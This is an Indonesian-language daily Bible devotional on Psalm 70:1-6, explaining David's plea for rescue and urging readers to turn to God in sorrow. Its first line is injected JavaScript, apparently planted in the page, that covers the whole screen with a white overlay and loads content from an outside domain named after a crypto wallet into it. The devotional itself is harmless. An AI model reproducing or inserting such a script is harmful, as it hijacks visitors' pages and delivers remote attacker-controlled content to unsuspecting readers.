const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Kamis, 09 November 2023
Mazmur 70 : 1 – 6
Pengantar
Pernahkah saudara merasakan kesedihan, kepedihan dan kekecewaan karena diperlakukan dengan tidak adil atau karena tidak diharapkan kehadirannya oleh orang lain atau ada orang yang mengharapkan saudara mengalami sesuatu yang tidak baik? Biasanya ketika kita mengalami hal-hal demikian kita akan merasa sedih, pedih dan kecewa sehingga dalam hati sanubari kita ingin rasanya membalas memperlakukan orang-orang yang telah membuat hati kita sedih, pedih dan kecewa itu. Hari ini Firman Tuhan mengingatkan kita agar tetap kuat menghadapi kesedihan, kepedihan dan kekecewaan akibat perlakuan yang tidak baik terhadap kita.
Pemahaman
- Apa makna ungkapan-ungkapan dalam doa Daud seperti terungkap dalam ayat 2-4?
- Pelajaran apa yang bisa kita petik dari syair doa Daud dalam ayat 5-6?
Mazmur 70 ini digolongkan sebagai salah satu dari mazmur ratapan, karena memiliki unsur seruan meminta pertolongan Allah. Doa Permohonan Daud ini dinaikkan oleh Daud saat ia mempersembahkan korban peringatan kepada Allah (v. 1). Dalam doanya, Daud meminta Allah segera menolong dan menyelamatkannya dari maut (v. 2). Kata “segera” di sini menandakan sesuatu yang gawat maka harus mendesak. Daud mendesak Allah untuk turut campur dalam persoalan yang sedang dihadapinya. Dalam doanya, ia sangat gelisah dan takut sebab para musuhnya tiada hentinya berupaya ingin mencelakai dan mencabut nyawanya (v. 3). Kondisi demikian membuat Daud tidak tahu harus meminta pertolongan kepada siapa selain Allahnya.
Selain itu, Daud juga berdoa agar Allah Israel bukan hanya menolongnya, tetapi juga mempermalukan para musuh yang menyumpahi dirinya (v. 4). Ada rasa kesal dan marah dalam diri Daud melihat para musuhnya yang terus-menerus mengutuki dan menyumpahinya. Permohonan doa Daud mendapat jawaban dari Allah sehingga ia mengajak orang-orang benar bersama dengan dirinya bersukacita (v. 5a). Daud yakin bahwa Allah tidak akan pernah mengecewakan orang yang sungguh-sungguh mencari dan berharap kepada-Nya. Daud yakin bahwa orang yang mencari Allah dan mencintai keselamatan-Nya akan melihat kebesaran Allah menolongnya (v. 5b). Perbuatan Allah yang ajaib membuat mereka selalu takjub akan kebesaran Allah. Tidak heran jika Allah lebih utama dalam kehidupan mereka daripada hal-hal yang lain. Dalam sukacitanya Daud merendahkan diri di hadapan Allah dan memfokuskan hidupnya pada Allah. Ia percaya bahwa pertolongan Allah selalu datang tepat pada waktu (6c).
Refleksi
Saudara, ketika engkau sedih, pedih dan kecewa berserulah pada Tuhan, Dia siap menolongmu.
Tekadku
Ya Tuhan, apapun yang menimpa hidupku, aku akan tetap memfokuskan hidupku kepada-Mu.
Tindakanku
Saudara mari kita menjalani hari ini dengan sukacita sambil berfokus pada Allah menolong kita.